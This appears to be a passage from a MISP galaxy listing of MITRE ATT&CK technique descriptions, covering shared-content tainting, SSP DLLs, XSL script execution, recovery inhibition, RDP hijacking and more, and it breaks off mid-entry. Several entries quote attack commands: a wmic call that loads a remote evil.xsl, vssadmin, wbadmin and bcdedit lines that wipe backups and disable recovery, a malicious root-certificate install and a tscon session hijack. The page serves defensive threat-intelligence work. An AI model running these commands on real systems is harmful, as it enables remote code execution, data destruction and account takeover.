The tag is: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007"
Links |
Taint Shared Content - T1080
Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary’s code on a remote system. Adversaries may use tainted shared content to move laterally.
A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user’s expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)
Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.
The tag is: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080"
Links |
https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html |
Security Support Provider - T1101
Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)
The tag is: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101"
Links |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
Peripheral Device Discovery - T1120
Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
The tag is: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"
Links |
Password Policy Discovery - T1201
Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)
Windows
-
<code>net accounts</code>
-
<code>net accounts /domain</code>
Linux
-
<code>chage -l <username></code>
-
<code>cat /etc/pam.d/common-password</code>
macOS
-
<code>pwpolicy getaccountpolicies</code>
The tag is: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201"
Analyze business processes - T1301
Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze business processes - T1301"
Links |
Install Root Certificate - T1130
Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
The tag is: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130"
Modify Existing Service - T1031
Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).
Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)
The tag is: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031"
Links |
Remote File Copy - T1105
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).
The tag is: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105"
Links |
Execution through API - T1106
Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)
Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)
-
CreateProcessA() and CreateProcessW(),
-
CreateProcessAsUserA() and CreateProcessAsUserW(),
-
CreateProcessInternalA() and CreateProcessInternalW(),
-
CreateProcessWithLogonW(), CreateProcessWithTokenW(),
-
LoadLibraryA() and LoadLibraryW(),
-
LoadLibraryExA() and LoadLibraryExW(),
-
LoadModule(),
-
LoadPackagedLibrary(),
-
WinExec(),
-
ShellExecuteA() and ShellExecuteW(),
-
ShellExecuteExA() and ShellExecuteExW()
The tag is: misp-galaxy:mitre-attack-pattern="Execution through API - T1106"
Links |
Graphical User Interface - T1061
The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system’s GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.
The tag is: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061"
Links |
Application Deployment Software - T1017
Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
The tag is: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017"
Links |
Credentials in Files - T1081
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)
The tag is: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081"
Links |
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html |
Remote System Discovery - T1018
Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also use local host files in order to discover the hostname to IP address mappings of remote systems.
Windows
Examples of tools and commands that acquire this information include "ping" or "net view" using [Net](https://attack.mitre.org/software/S0039). The contents of the <code>C:\Windows\System32\Drivers\etc\hosts</code> file can be viewed to gain insight into the existing hostname to IP mappings on the system.
Mac
Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system.
Linux
Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system.
Cloud
In cloud environments, the above techniques may be used to discover remote systems depending upon the host operating system. In addition, cloud environments often provide APIs with information about remote systems and services.
The tag is: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"
Links |
Indirect Command Execution - T1202
Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
The tag is: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"
Links |
XSL Script Processing - T1220
Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
-
<code>msxsl.exe customers[.]xml script[.]xsl</code>
-
<code>msxsl.exe script[.]xsl script[.]xsl</code>
-
<code>msxsl.exe script[.]jpeg script[.]jpeg</code>
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
-
Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
-
Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>
The tag is: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220"
Standard Cryptographic Protocol - T1032
Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
The tag is: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032"
Derive intelligence requirements - T1230
Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)
The tag is: misp-galaxy:mitre-attack-pattern="Derive intelligence requirements - T1230"
Links |
Custom Cryptographic Protocol - T1024
Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.
Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.
Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)
The tag is: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024"
Domain Generation Algorithms - T1520
Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)
DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.
The tag is: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520"
Links |
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/ |
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ |
Parent PID Spoofing - T1502
Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](Rundll32(https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Execution through API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1502"
System Information Discovery - T1082
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Windows
Example commands and utilities that obtain this information include <code>ver</code>, [Systeminfo](https://attack.mitre.org/software/S0096), and <code>dir</code> within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.
Mac
On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.
AWS
In Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery)
GCP
On Google Cloud Platform (GCP) <code>GET /v1beta1/{parent=organizations/}/assets</code> or <code>POST /v1beta1/{parent=organizations/}/assets:runDiscovery</code> may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard)
Azure
In Azure, the API request <code>GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01</code> may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)
The tag is: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"
Windows Remote Management - T1028
Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)
The tag is: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028"
Commonly Used Port - T1043
Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as
-
TCP:80 (HTTP)
-
TCP:443 (HTTPS)
-
TCP:25 (SMTP)
-
TCP/UDP:53 (DNS)
They may use the protocol associated with the port or a completely different protocol.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are
-
TCP/UDP:135 (RPC)
-
TCP/UDP:22 (SSH)
-
TCP/UDP:3389 (RDP)
The tag is: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043"
Links |
Private whois services - T1305
Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)
The tag is: misp-galaxy:mitre-attack-pattern="Private whois services - T1305"
Links |
Security Software Discovery - T1063
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Windows
Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.
Mac
It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
The tag is: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063"
Links |
Test physical access - T1360
An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)
The tag is: misp-galaxy:mitre-attack-pattern="Test physical access - T1360"
Links |
Exploit OS Vulnerability - T1404
A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.
The tag is: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html |
Exploit TEE Vulnerability - T1405
A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).
The tag is: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405"
Network Service Scanning - T1046
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts or cloud services enabled within the environment. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems.
The tag is: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046"
Links |
Windows Management Instrumentation - T1047
Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)
An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"
Links |
Inhibit System Recovery - T1490
Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
-
<code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
-
[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
-
<code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
-
<code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>
The tag is: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490"
Links |
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html |
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html |
Server Software Component - T1505
Adversaries may abuse legitimate extensible development features of server applications to establish persistent access to systems. Enterprise server applications may include features that allow application developers to write and install software to extend the functionality of the main application. Adversaries may install malicious software components to maliciously extend and abuse server applications.
###Transport Agent Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.
Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.
###SQL Stored Procedures SQL stored procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as <code>xp_cmdshell</code> for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)
Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures, these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)
The tag is: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505"
Web Session Cookie - T1506
Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)
Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.
There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
The tag is: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506"
Links |
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ |
Uncommonly Used Port - T1065
Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
The tag is: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065"
Links |
Network Information Discovery - T1507
Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.
The tag is: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507"
Links |
Pass the Hash - T1075
Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)
The tag is: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075"
Links |
https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm |
Suppress Application Icon - T1508
A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application’s icon programmatically does not require any special permissions.
This behavior has been seen in the BankBot/Spy Banker and SimBad families of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)(Citation: simbad-adware)
The tag is: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508"
Uncommonly Used Port - T1509
Adversaries may use non-standard ports to exfiltrate information.
The tag is: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509"
Links |
Remote Desktop Protocol - T1076
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)
Adversaries may also perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)
The tag is: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076"
NTFS File Attributes - T1096
Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
The tag is: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096"
Permission Groups Discovery - T1069
Adversaries may attempt to find local system or domain-level groups and permissions settings.
Windows
